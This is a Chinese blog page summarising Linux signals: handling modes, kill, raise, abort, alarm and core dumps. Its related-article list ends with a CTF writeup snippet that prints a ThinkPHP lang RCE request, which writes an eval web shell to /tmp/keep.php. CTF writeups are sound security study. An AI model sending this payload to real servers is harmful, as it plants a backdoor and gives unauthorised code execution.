Linux——信号知识归纳(上)

news/2024/11/22 18:41:21/

一.信号概念

(一).大致认识

信号是操作系统控制进程的一种方式,比如ctrl C、栈溢出程序崩溃、kill -9命令等底层都是操作系统发送信号给进程执行特定操作。

因此,所有信号就底层而言都是操作系统发出的

同时,进程接收到信号后,不一定会立即处理,信号发送方也不一定会阻塞等待信号处理结果,即信号与进程是异步通信。

其中,1 - 31号信号是普通信号,34 - 64号是实时信号

(二).信号处理方式

信号的处理方式共有三种,即默认、忽略、自定义。

默认情况下,信号的处理方式按照操作系统提供的方式执行。

忽略情况下,信号的处理方式就是不处理,接收后略过该信号执行过程。

自定义情况下,接收信号后按照用户定义的函数执行具体的方法。

(三).常见信号

二.基础信号指令和函数

(一).信号指令

kill -l #查看所有信号
man 7 signal #查看信号的含义(主要是1 - 31号信号)
kill -x 进程pid #指定进程执行x 号信号

(二).信号函数

头文件:<signal.h>

①signal

用于自定义信号方法,即捕捉信号。

signum是指定的信号值。

handler是函数指针类型,即用户自定义的信号函数, 函数要求返回值为void,单参数且为int类型。

返回值是函数指针类型,返回旧的函数方法。

使用方式如下:

②kill

用于给指定进程发送特定信号

第一个参数即目标进程的pid。

第二个参数是要执行的信号。

成功返回0,失败返回-1

使用方式:

③raise

用于给本进程发送特定信号

参数即指定信号。

返回值0为成功,非0为失败

④abort

用于终止本进程(发送6号信号/SIGABRT)

与其他终止进程不同,该信号可以触发核心转储

⑤alarm

用于在闹钟时间后终止进程(发送14号信号/SIGALRM)

参数是设定的闹钟时间。

返回值是上一次设定的闹钟剩余多少时间。如果上次闹钟中途被打断 那么剩余时间非0;如果上次的执行完毕,返回为0。

使用方式:

三.核心转储(core dump)

核心转储功能,应用于代码出错的调试,如果进程被信号异常终止且该信号有核心转储功能,那么就会生成一个数据文件到磁盘中,在gdb调试时可用于查看异常信息。

(一).生成数据文件

相关命令如下:

ulimit -c num #打开核心转储,num为目标数据文件的大小对齐数。
ulimit -a #查看核心转储信息

同时waitpid中status参数的第8比特位即核心转储,0代表没发生核心转储,1代表发生核心转储。

假设我们有一个死循环的子进程,发送kill -6信号给该子进程,那么磁盘中就会生成一个数据文件。

(二).数据文件的使用

core-file filename #在gdb调试中使用,可直接定位到错误位置及原因

如果debugging是一种消灭bug的过程,那编程就一定是把bug放进去的过程——Edsger Dijkstra


如有错误,敬请斧正


http://www.ppmy.cn/news/10490.html

相关文章

自动化测试Seleniums~2

webdriver API 1.如何打开网页以及如何关闭一个浏览器。 package test_20230107;import org.openqa.selenium.WebDriver; import org.openqa.selenium.chrome.ChromeDriver;import static java.lang.Thread.sleep;public class Test {public static void main(String[] args)…

把mac验证开展下去

有一段时间&#xff0c;我疯狂发了很多邮件。 觉得都非常具有逻辑性&#xff0c;而且也非常有意义。 但是却没有被执行。 我很失落。 其实别人也说了&#xff0c;这个很好。会参考。 仅此而已。 有一次我提了&#xff0c;有一个模板&#xff0c;一个结果&#xff0c;只要做…

Python实现检测图片中的人脸,将识别到的人脸向量存入数据库,并实现提交的图片的人脸信息与入库的人脸信息进行比对

facenet_face_regonistant 完整代码下载地址&#xff1a;Python实现检测图片中的人脸&#xff0c;将识别到的人脸向量存入数据库 利用facenet实现检测图片中的人脸&#xff0c;将识别到的人脸向量存入数据库&#xff0c;此外利用post提交一个新图片&#xff08;也可以提交一个…

(强制)类型转换方法

目录 一、C语言中的类型转换 二、C中的强制类型转换 2.1 static_cast 2.2 reinterpret_cast 2.3 const_cast 2.4 dynamic_cast 2.5 总结 一、C语言中的类型转换 在C语言中&#xff0c;若赋值运算符左右两侧类型不同&#xff0c;或者形参与实参类型不匹配&#xff0c;或…

Linux应用编程---3.wait()函数

Linux应用编程—3.wait()函数 ​ 首先引入三个函数&#xff0c;我们通过在Linux终端下查阅它的作用与使用方法。 ​ Linux终端命令下输入&#xff1a;man exit&#xff0c;敲击回车键即可打开exit函数详情页。 图1 exit编程手册​ exit函数的作用是终止一般进程&#xff0c;没…

setMouseTacking(true) 没有效果?

描述 一般来讲&#xff0c;我们希望实现在mouseMoveEvent中获取当前鼠标的位置&#xff0c;以触发一些自定义的鼠标hover特效。在这种情形下需要启动mouse tacking才能达到效果&#xff0c;原因是mouseMoveEvent默认是在鼠标按下后才会触发。>> QWidget::mouseMoveEvent…

ArrayList | 简单的洗牌算法

一个洗牌程序需要包含&#xff1a; 创建一副扑克牌&#xff08;除去大小王剩下52张&#xff0c;每种花色13张&#xff09;。洗牌&#xff0c;打乱牌的顺序。揭牌&#xff0c;每位玩家轮流揭牌&#xff0c;从洗完后的牌组中获得自己的牌。因此&#xff0c;我们可以依照以下思路来…

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …